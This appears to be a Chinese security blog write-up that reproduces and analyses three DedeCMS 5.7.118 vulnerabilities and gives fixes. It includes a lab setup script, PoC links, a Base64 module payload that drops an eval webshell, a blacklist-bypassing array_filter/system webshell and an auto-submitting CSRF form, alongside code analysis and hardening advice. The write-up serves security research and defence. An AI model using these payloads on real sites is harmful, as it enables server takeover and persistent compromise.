DedeCMS 2026年安全漏洞合集 | CVE-2026-30643 / CVE-2026-29839 / CVE-2026-30694 复现与研究 — 影响最新版本 5.7.118
原创
404号浪漫
404号浪漫
404号浪漫
2026年6月2日 14:58
北京
在小说阅读器读本章
去阅读
点击蓝字,关注我们
0x0 背景介绍
DedeCMS(织梦内容管理系统)是一款基于PHP的开源内容管理系统,广泛用于企业网站建设。
DedeCMS 5.7.118 模块上传RCE(CVE-2026-30643)
在5.7.118版本中,其模块管理功能在处理上传的模块包时,未对模块配置文件中的setup标签值进行严格过滤。攻击者通过上传含有恶意构造setup标签的模块文件,可在系统解析安装模块时触发PHP代码执行,从而完全控制服务器。
DedeCMS <= 5.7.118 计划任务CSRF漏洞(CVE-2026-29839)
后台管理文件/sys\_task\_add.php 在处理添加计划任务的请求时,未实现跨站请求伪造(CSRF)防护机制,缺少对随机Token的校验。攻击者可以通过构造恶意网页并诱导已登录后台的管理员访问,从而以管理员身份在系统内创建恶意的计划任务,通过计划任务执行脚本逻辑可能进一步导致服务器权限丢失RCE。
DedeCMS <= 5.7.118 远程代码执行漏洞(CVE-2026-30694)
漏洞源于后台文件管理组件对用户输入过滤不严。攻击者通过利用PHP array\_filter 函数的特性,构造恶意的回调函数参数,从而绕过系统的黑名单校验。远程攻击者在获取后台权限后,可利用此漏洞执行任意PHP代码,最终获取服务器Webshell。
漏洞详情
| 漏洞类型 | 影响版本 | 利用复杂度 | CVE编号 |
|---|---|---|---|
| 文件上传 CSRF 代码执行 | ≤ 5.7.118 | 低 | CVE-2026-30643 CVE-2026-29839 CVE-2026-30694 |
攻击效果:
- CVE-2026-30643、CVE-2026-30694均可直接导致 RCE,CSRF漏洞需配合其他漏洞才能达成 RCE,但单独也能破坏计划任务完整性。
0x1 环境搭建(Ubuntu24)
1.Ubuntu24+Docker搭建配置
#!/bin/bash# CVE-2026-30643 漏洞环境搭建脚本# 基于 php:5.6-apache + Debian 归档源(跳过 GPG 验证)set -e[ \"$(id -u)\" -ne 0 ] && echo \"[!] 请以 root 或 sudo 运行。\" && exit 1# ── 阶段1:环境检查 ──if ! command -v docker &> /dev/null; then apt update && apt install -y docker.io systemctl enable --now dockerfiif ! docker compose version &> /dev/null; then apt install -y docker-compose-v2fifor tool in wget unzip; do command -v $tool &> /dev/null || apt install -y $tooldoneif ! docker ps &> /dev/null; then systemctl start docker sleep 2fi# ── 阶段2:创建项目目录 ──WORKDIR=\"$HOME/dedecms-118-cve\"if [ -d \"$WORKDIR\" ]; then read -rp \"[!] 目录已存在,清空重建?(y/n) \" answer if [ \"$answer\" = \"y\" ]; then cd \"$WORKDIR\" && docker compose down -v 2>/dev/null || true cd ~ && rm -rf \"$WORKDIR\" else echo \"[-] 取消部署。\" exit 1 fifimkdir -p \"$WORKDIR\"/www/srccd \"$WORKDIR\"# ── 阶段3:生成 Dockerfile(允许未认证软件包) ──cat > www/Dockerfile <<'DEOF'FROM php:5.6-apache# 更换为 Debian 归档源,并关闭 GPG 校验(因密钥已过期)RUN printf \"deb http://archive.debian.org/debian stretch main\
\" > /etc/apt/sources.list && \\ printf \"deb http://archive.debian.org/debian stretch-proposed-updates main\
\" >> /etc/apt/sources.list && \\ echo 'Acquire::Check-Valid-Until \"false\";' > /etc/apt/apt.conf.d/99no-check-valid-until && \\ echo 'APT::Get::AllowUnauthenticated \"true\";' > /etc/apt/apt.conf.d/99allow-unauthenticated && \\ echo 'Acquire::AllowInsecureRepositories \"true\";' >> /etc/apt/apt.conf.d/99allow-unauthenticated && \\ echo 'Acquire::AllowDowngradeToInsecureRepositories \"true\";' >> /etc/apt/apt.conf.d/99allow-unauthenticated# 安装系统依赖(跳过验证)RUN apt-get update && apt-get install -y --allow-unauthenticated \\ libpng-dev \\ libjpeg62-turbo-dev \\ libfreetype6-dev \\ libcurl4-gnutls-dev \\ && rm -rf /var/lib/apt/lists/*# 编译安装 GD(指定头文件路径)RUN docker-php-ext-configure gd --with-freetype-dir=/usr/include/freetype2 --with-jpeg-dir=/usr/include --with-png-dir=/usr/include \\ && docker-php-ext-install -j$(nproc) gd# 安装其他 PHP 扩展RUN docker-php-ext-install mysqli mysql mbstring curl# 开启 rewrite 模块RUN a2enmod rewrite# 复制源码(运行时被 volume 覆盖)COPY ./src /var/www/htmlRUN chown -R www-data:www-data /var/www/htmlEXPOSE 80CMD [\"apache2-foreground\"]DEOF# ── 阶段4:生成 docker-compose.yml ──cat > docker-compose.yml <<'EOF'services: web: build: ./www ports: - \"8080:80\" volumes: - ./www/src:/var/www/html depends_on: - db restart: unless-stopped db: image: mysql:5.7 environment: MYSQL_ROOT_PASSWORD: root123 MYSQL_DATABASE: dedecmsv57 MYSQL_USER: dedeuser MYSQL_PASSWORD: dedepass volumes: - ./db_data:/var/lib/mysql ports: - \"3306:3306\" restart: unless-stoppedEOF# ── 阶段5:下载源码并部署 ──ZIP_URL=\"https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.118-UTF8.zip\"ZIP_FILE=\"DedeCMS-V5.7.118-UTF8.zip\"if [ ! -f \"$ZIP_FILE\" ]; then wget --no-check-certificate -q --show-progress \"$ZIP_URL\" -O \"$ZIP_FILE\"firm -rf dede_tmpunzip -qo \"$ZIP_FILE\" -d dede_tmpif [ -d \"dede_tmp/uploads\" ]; then cp -rf dede_tmp/uploads/* www/src/elif [ -d \"dede_tmp/DedeCMS-V5.7.118-UTF8/uploads\" ]; then cp -rf dede_tmp/DedeCMS-V5.7.118-UTF8/uploads/* www/src/else INDEXDIR=$(find dede_tmp -name \"index.php\" -type f -exec dirname {} \\; | head -n1) [ -n \"$INDEXDIR\" ] && cp -rf \"$INDEXDIR\"/* www/src/ || { echo \"[!] 源码结构异常\"; exit 1; }firm -rf dede_tmp \"$ZIP_FILE\"chmod -R 755 www/srcfor dir in data uploads templets special html; do [ -d \"www/src/$dir\" ] && chmod -R 777 \"www/src/$dir\" 2>/dev/null || truedone# ── 阶段6:构建并启动 ──docker compose down -v 2>/dev/null || truedocker compose build --no-cache webdocker compose up -decho \"[+] 等待 MySQL 初始化...\"sleep 25docker compose exec -T web chown -R www-data:www-data /var/www/html 2>/dev/null || \\ echo \"[!] 权限修正跳过,稍后可手动执行。\"SERVER_IP=$(hostname -I | awk '{print $1}')echo \"\"echo \"==============================================\"echo \" DedeCMS 5.7.118 环境搭建完成!\"echo \" 安装向导: http://${SERVER_IP}:8080/install/index.php\"echo \" 数据库: 服务器=db , 库=dedecmsv57 , 用户=dedeuser , 密码=dedepass\"echo \" 安装后请删除 install 目录: cd $WORKDIR && docker compose exec web rm -rf /var/www/html/install\"echo \"==============================================\"
0x2 漏洞复现
1.Python脚本
-
一共三个单独脚本(有一个脚本报毒是因为内置了一句话木马)
https://github.com/Kai-One001/cve-/blob/main/CVE-2026-29839_DedeCMS_CSRF.htmlhttps://github.com/Kai-One001/cve-/blob/main/CVE-2026-30643_DedeCMS_RCE.pyhttps://github.com/Kai-One001/cve-/blob/main/CVE-2026-30694_DedeCMS_RCE.py
2.手动复现步骤
2.1 CVE-2026-30643 模块上传RCE
前置条件
•已获取后台管理员账号,且拥有 sys_module(模块管理)权限
•目录 data/module/ 可写
复现步骤
- 构造恶意模块 XML 文件(扩展名
.xml),在<setup>标签内写入 Base64 编码的 PHP 代码(安装时会被解码并写入{hash}-setup.php后include执行) - 登录后台 → 模块管理 → 上传模块,上传该 XML 文件
- 上传成功后跳转至模块详情页,点击 安装
- 确认安装(
action=setupstart),触发include执行 setup 脚本,Webshell 写入指定路径
恶意模块 XML 示例(节选)
<module><baseinfo>name=EvilModuleteam=Attackertime=2026-01-01email=evil@evil.comurl=http://evil.comhash=deadbeefdeadbeefdeadbeefdeadbeefindexname=indexurl=ismember=0autosetup=0autodel=0lang=utf-8moduletype=soft</baseinfo><systemfile><menustring></menustring><readme></readme><setup>PD9waHAKQGZpbGVfcHV0X2NvbnRlbnRzKGRpcm5hbWUoX19GSUxFX18pLiIvLi4vcGhvL3NoZWxsLnBocCIsICc8P3BocCBldmFsKCRfUE9TVFsiY21kIl0pOz8+Jyk7CmV4aXQoJ01vZHVsZSBJbnN0YWxsIERvbmUnKTs=</setup><uninstall></uninstall></systemfile><modulefiles></modulefiles></module>
上述 Base64 解码后为:
file_put_contents向../php/shell.php写入一句话木马。
关键接口
| 阶段 | 接口 | 方法 |
|---|---|---|
| 上传 | /dede/module_upload.php?action=upload |
POST |
| 安装确认 | /dede/module_main.php?action=setup&hash={hash} |
GET |
| 触发 RCE | /dede/module_main.php?action=setupstart |
POST |
2.2 CVE-2026-30694 文件管理黑名单绕过
前置条件
•已获取后台管理员账号,且拥有 plus_文件管理器 权限
•目标目录(如 /plus/)Web 可访问且可写
复现步骤
- 登录后台 → 文件管理 → 进入可写目录(如
/plus/)
点击 新建文件,文件名设为 shell.php
* 文件内容写入绕过 Payload,保存(需携带有效 CSRF Token)
* 浏览器访问 /plus/shell.php?c=id,通过 array_filter 回调执行 system
Payload 示例
<?php $g=\"_GET\";$c=\"c\";array_filter([${$g}[$c]},\"system\");?>
关键接口
| 阶段 | 接口 | 方法 |
|---|---|---|
| 编辑页 | /dede/file_manage_view.php?fmdo=newfile&activepath=/plus |
GET |
| 保存文件 | /dede/file_manage_control.php |
POST |
| 触发 RCE | /plus/shell.php?c=whoami |
GET |
2.3 CVE-2026-29839 计划任务CSRF组合RCE
前置条件
• 受害者为已登录后台的管理员(拥有 sys_Task 权限)
• 攻击者已诱导管理员访问恶意页面,或已通过 CVE-2026-30694 在plus/task/ 目录写入恶意 PHP
组合利用:从 CSRF 到完整 RCE(需结合文件写入漏洞)
在真实攻击中,攻击者无法直接写入 plus/task/ 目录,但可结合本报告中的 CVE-2026-30694(文件管理黑名单绕过) 将恶意 PHP 写入该目录,再通过 CSRF 创建任务并触发其它高危操作。
CSRF Payload 示例(HTML)
<html><bodyonload=\"document.forms[0].submit()\"><formaction=\"http://target.com/dede/sys_task_add.php\"method=\"POST\"><inputname=\"dopost\"value=\"save\"/><inputname=\"taskname\"value=\"System Update\"/><inputname=\"dourl\"value=\"evil.php\"/><inputname=\"description\"value=\"auto\"/><inputname=\"nislock\"value=\"0\"/><inputname=\"runtype\"value=\"0\"/> <input name=\"h\" value=\"0\" /> <input name=\"m\" value=\"0\" /> <input name=\"freq\" value=\"1\" /> <input name=\"parameter\" value=\"\" /></form></body></html>
关键接口
| 阶段 | 接口 | 方法 |
|---|---|---|
| CSRF 注入任务 | /dede/sys_task_add.php |
POST (dopost=save) |
| 任务调度 | /plus/task.php |
GET |
| 执行恶意脚本 | /plus/task/evil.php |
GET(由调度器跳转触发) |
3.复现流量特征 (PCAP)
-
项目地址-三合一
https://github.com/Kai-One001/PCAP-For-Cybersecurity.rule/blob/main/2026/CVE-2026-30643%26CVE-2026-29839%26CVE-2026-30694_DedeCMS_5.7.118.pcap
-
流量节选
0x3 漏洞原理分析
3.1-CVE-2026-30643:模块 <setup> 标签的信任链问题
3.1.1-上传入口:模块包被当作可信安装
三个历史漏洞,影响最新版本,本次就大概过一下核心代码问题。
后台模块管理的上传入口module_upload.php。该文件在action=upload时接收管理员上传的模块包,将其保存至data/module/目录,并调用DedeModule::GetModuleInfo()解析 XML 头部<baseinfo>获取 hash 等元信息。
// uploads/dede/module_upload.phpif($action=='upload'){ if( !is_uploaded_file($upfile) ) { ShowMsg(\"貌似你什么都没有上传哦!\", \"javascript:;\"); exit(); } // ... $dm = new DedeModule($mdir); $infos = $dm->GetModuleInfo($tmpfilename,'file'); // ... copy($tmpfilename,$okfile); ShowMsg(\"成功上传一个新的模块!\",\"module_main.php?action=view&hash={$infos['hash']}\");}
上传阶段仅校验 XML 是否包含合法hash字段,并未对<setup>、<uninstall> 等系统文件段的内容做任何语义审查。
3.1.2-逻辑缺陷:setup 脚本解码后直接使用
接着看向安装流程。在module_main.php的action=setupstart分支中,系统调用WriteSystemFile($hash, 'setup')将XML内<setup>标签的内容 Base64 解码后写入{hash}-setup.php,随后直接 include 该文件:
// uploads/dede/module_main.php $dm->WriteFiles($hash, $isreplace, $install); $filename = ''; if(!isset($autosetup) || $autosetup==0) $filename = $dm->WriteSystemFile($hash, 'setup'); if(!isset($autodel) || $autodel==0) $dm->WriteSystemFile($hash, 'uninstall'); $dm->WriteSystemFile($hash,'readme'); $dm->Clear();
//用模块的安装程序安装 if(!isset($autosetup) || $autosetup==0) { include(DEDEDATA.'/module/'.$filename); exit(); }
而GetSystemFile()对<setup>的处理未做校验,直接读取标签内容、Base64 解码、返回原始字符串:
// uploads/include/dedemodule.class.php function GetSystemFile($hashcode, $ntype, $enCode=TRUE) { // ... while(!feof($fp)) { $line = fgets($fp,1024); if(!$start) { if(preg_match(\"#<{$ntype}>#i\", $line)) $start = TRUE; } else { if(preg_match(\"#<\\/{$ntype}#i\", $line)) break; $okdata .= $line; } } // ... if(!empty($okdata) && $enCode) $okdata = base64_decode($okdata); return $okdata; }
采用 Base64 编码避免 XML 特殊字符冲突。但 Base64 不是加密,它只是一种编码。
第二个是系统对模块包内<file>段写入的文件做了eval|assert正则检测,却对<setup>段完全豁免,导致把恶意PHP 放进<setup> 即可绕过文件写入检测,在安装时以 setup 脚本身份执行。
3.1.3-攻击链路:从 XML 注入到 PHP 代码执行
完整调用链:
攻击者构造 XML (<setup> 含 Base64 PHP) → module_upload.php [注入点:upfile] → DedeModule::GetModuleInfo() 解析 hash → module_main.php?action=setupstart → DedeModule::WriteSystemFile('setup') 解码写入 {hash}-setup.php → include(data/module/{hash}-setup.php) [爆发点:任意代码执行] → file_put_contents() 写入 Webshell
3.2-CVE-2026-30694:黑名单正则的\"拼图式\"失效
3.2.1-检测入口:文件保存前的无用功
在file_manage_control.php和tpl.php的顶部发现一段\"危险函数黑名单\"检测逻辑,它在文件内容写入磁盘之前对 $str(或 $content)进行正则匹配,意图拦截 PHP 代码注入:
// uploads/dede/file_manage_control.phpglobal $cfg_disable_funs;$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,...';$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,...,array_filert,getallheaders';foreach (explode(\",\", $cfg_disable_funs) as $value) { $value = str_replace(\" \", \"\", $value); if(!empty($value) && preg_match(\"#[^a-z]+['\\\"]*{$value}['\\\"]*[\\s]*[([{']#i\", \" {$str}\") == TRUE) { $str = dede_htmlspecialchars($str); die(\"DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>\"); }}
- 可能这块是只要拦截所有危险函数的 直接调用 语法(如
system(、eval(),以为这样就能阻止管理员误写或攻击者注入恶意代码 - 但实际实现存在三处致命拼图缺口,使得这条防线形同虚设。
3.2.2-逻辑缺陷:拼写错误 + 正则语义偏差 + 超全局变量绕过
缺陷一:array_filert 拼写错误
黑名单字符串中写的是 array_filert(多了一个 r 的位置错误),而 PHP 原生函数是 array_filter。这意味着 array_filter 从未进入检测列表,攻击者可以合法地使用这个高危回调函数。
缺陷二:正则只匹配\"直接调用\"形态
核心正则 #[^a-z]+['\\\"]*{$value}['\\\"]*[\\s]*[([{']#i 要求危险函数名之后必须紧跟 (、[、{ 或 ',即 函数被直接调用的语法。当攻击者写 array_filter([$cmd], \"system\") 时,\"system\" 是字符串参数而非函数调用——正则无法匹配 \"system\") 这种回调注册形态。
缺陷三:超全局变量间接引用
黑名单包含 [$]_GET 试图拦截 $_GET,但 Payload 使用 $g=\"_GET\"; ${$g}[$c] 通过变量变量间接引用,完全绕过了对 $_GET 字面量的检测。
缺陷四(补充):双引号包裹的边界问题
虽然 v5.7.118 中正则字符类 ['\\\"]* 理论上包含单双引号,但该检测的设计前提是\"函数名后紧跟调用括号\"。用双引号包裹的函数名作为 回调参数 传递时,其后跟随的是 ) 而非 (,从根本上脱离了正则的匹配语义——无论字符类是否包含双引号,这种 间接调用 模式都不在检测范围内。
3.2.3-攻击链路:绕过黑名单写入 Webshell
完整调用链:
攻击者 POST 恶意 PHP 到 file_manage_control.php [注入点:str] → 黑名单 foreach 检测 (array_filter 未列入 / system 非直接调用) [绕过] → csrf_check() 通过 (合法 Token) → fopen + fputs 写入 /plus/shell.php [爆发点:恶意文件落盘] → 访问 /plus/shell.php?c=cmd → array_filter 回调 system($cmd) [爆发点:命令执行]
3.3-CVE-2026-29839:计划任务的 CSRF 真空与组合 RCE
3.3.1-核心入口:缺失 CSRF 防护的任务创建接口
在对比后台各敏感操作时,注意到sys_task_add.php 的dopost=save 分支 完全没有调用csrf_check()。而同项目的file_manage_control.php在fmdo=edit 时明确调用了 CSRF 校验:
// uploads/dede/sys_task_add.phpif($dopost=='save'){ $starttime = empty($starttime) ? 0 : GetMkTime($starttime); // ... $Query = \"INSERT INTO `#@__sys_task`(...) VALUES('$taskname', '$dourl', ...)\"; $rs = $dsql->ExecuteNoneQuery($Query); // 无 csrf_check() !}
// uploads/dede/config.phpfunction csrf_check(){ global $token; if(!isset($token) || strcasecmp($token, $_SESSION['token']) !== 0){ echo 'DedeCMS:CSRF Token Check Failed!'; exit; }}
- 表单模板
sys_task_add.htm中同样 没有 hidden token 字段。与之对比file_edit.htm明确包含<input type=\"hidden\" name=\"token\" ...>。 - 设计者显然知道 CSRF 风险——文件管理、模板编辑等操作均已接入 Token 机制。
- 但计划任务的增删改被遗漏。任何已登录管理员被诱导访问恶意页面,攻击者即可 零交互 向其后台写入计划任务。
3.3.2-逻辑缺陷:任务调度器执行力度
计划任务调度器plus/task.php从数据库读取islock=0的任务,校验plus/task/{dourl}文件存在后,通过HTTP重定向或输出 URL 的方式 触发该PHP 脚本执行
// uploads/plus/task.php if($isplay) { $dourl = trim($arr['dourl']); if(!file_exists(\"task/$dourl\")) { echo ($client=='js' ? '' : 'notask'); exit(); } else { // ... if($client=='js') header(\"location:{$cfg_phpurl}/task/{$dourl}\"); else echo \"{$cfg_phpurl}/task/{$dourl}\"; exit(); } }
- 调度器只检查\"文件是否存在\",不验证任务创建者身份、不校验脚本内容合法性。
- 结合 CSRF 漏洞,攻击者可以:
① 通过文件管理器(CVE-2)向 plus/task/ 写入 Webshell;
② 通过 CSRF 创建指向该 Webshell 的计划任务;
③ 等待调度触发,实现 无需再次登录后台 的持久化 RCE。
3.3.3-攻击链路:CSRF + 文件写入的组合拳
完整调用链:
[阶段A - 可选] file_manage_control.php 写入 plus/task/evil.php ↓[阶段B] 攻击者托管 CSRF 页面 → 受害者管理员浏览器自动 POST sys_task_add.php [注入点:dourl=evil.php] → INSERT INTO sys_task (无 CSRF 校验) [爆发点:恶意任务入库] ↓[阶段C] plus/task.php 调度触发 → header(\"location:.../plus/task/evil.php\") → evil.php 被 Web 引擎解析执行 [爆发点:RCE]
0x4 修复建议
1、暂无最新版本:需持续关注官方动态
https://www.dedecms.com/
2、修复方案汇总
CVE-2026-30643 模块上传 RCE
- 禁止直接 include setup 脚本:将
include({hash}-setup.php)改为白名单函数调用或沙箱化执行环境;至少对setup内容做PHP语法解析 + 危险函数静态扫描。 - 统一安全检测:对
<setup>、<uninstall>标签内容应用与WriteFiles()相同级别的危险代码检测,不应存在检测盲区。 - 禁用非官方模块上传(临时措施):在
module_upload.php增加开关,生产环境默认关闭模块上传功能。
CVE-2026-30694 文件管理黑名单绕过
- 修正拼写错误:将
array_filert更正为array_filter,并补充array_walk、array_map、usort、uasort等回调类函数。 - 增强检测逻辑:除\"直接调用\"检测外,增加对函数名作为字符串参数出现场景的检测(如
,\"system\"、'system'出现在回调上下文)。 - 禁止编辑 PHP 文件(推荐):文件管理器中禁止创建/编辑
.php、.inc等可执行扩展名,模板编辑器限制为.htm/.html/.css/.js。 - 完善正则:对超全局变量检测改用AST级别分析,而非简单字面量匹配。
CVE-2026-29839 计划任务 CSRF
- 添加 CSRF Token:在
sys_task_add.php和sys_task_edit.php的save分支调用csrf_check(),表单中添加make_hash()生成的hidden token。 - 任务脚本白名单:
dourl字段仅允许选择plus/task/目录下预注册的官方脚本,禁止任意文件名。 - 二次确认:创建/修改计划任务时要求管理员输入密码或验证码。
临时防护措施
| 漏洞 | 临时措施 |
|---|---|
| 模块上传 | 删除/重命名module_upload.php;对data/module/目录设置不可通过Web访问 |
| 文件管理 | 禁止Web目录可写;删除file_manage_main.php入口或收回plus_文件管理器 权限 |
| 计划任务 | 限制sys_task_add.php仅内网IP可访问;禁用前台plus/task.php JS触发 |
通用加固(根据自己的环境来)
- 配置
open_basedir限制PHP文件访问范围 - 在
php.ini中禁用system、exec、passthru、shell_exec、proc_open、popen等危险函数 - Web根目录下除
uploads/外均设为不可写 - 后台管理目录绑定独立域名或IP白名单,启用HTTPS + HttpOnly Cookie
- 部署WAF规则拦截模块XML中的Base64编码PHP特征及
array_filter回调类 Payload
其它建议
- 建立后台操作审计日志,对模块安装、文件写入、计划任务变更记录操作者与 IP
- 定期扫描Web目录下的新增
.php文件(河马扫描:https://www.shellpub.com/) - 最小权限原则:仅授予必要管理员所需权限,避免所有管理员拥有
sys_module和文件管理器权限
免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论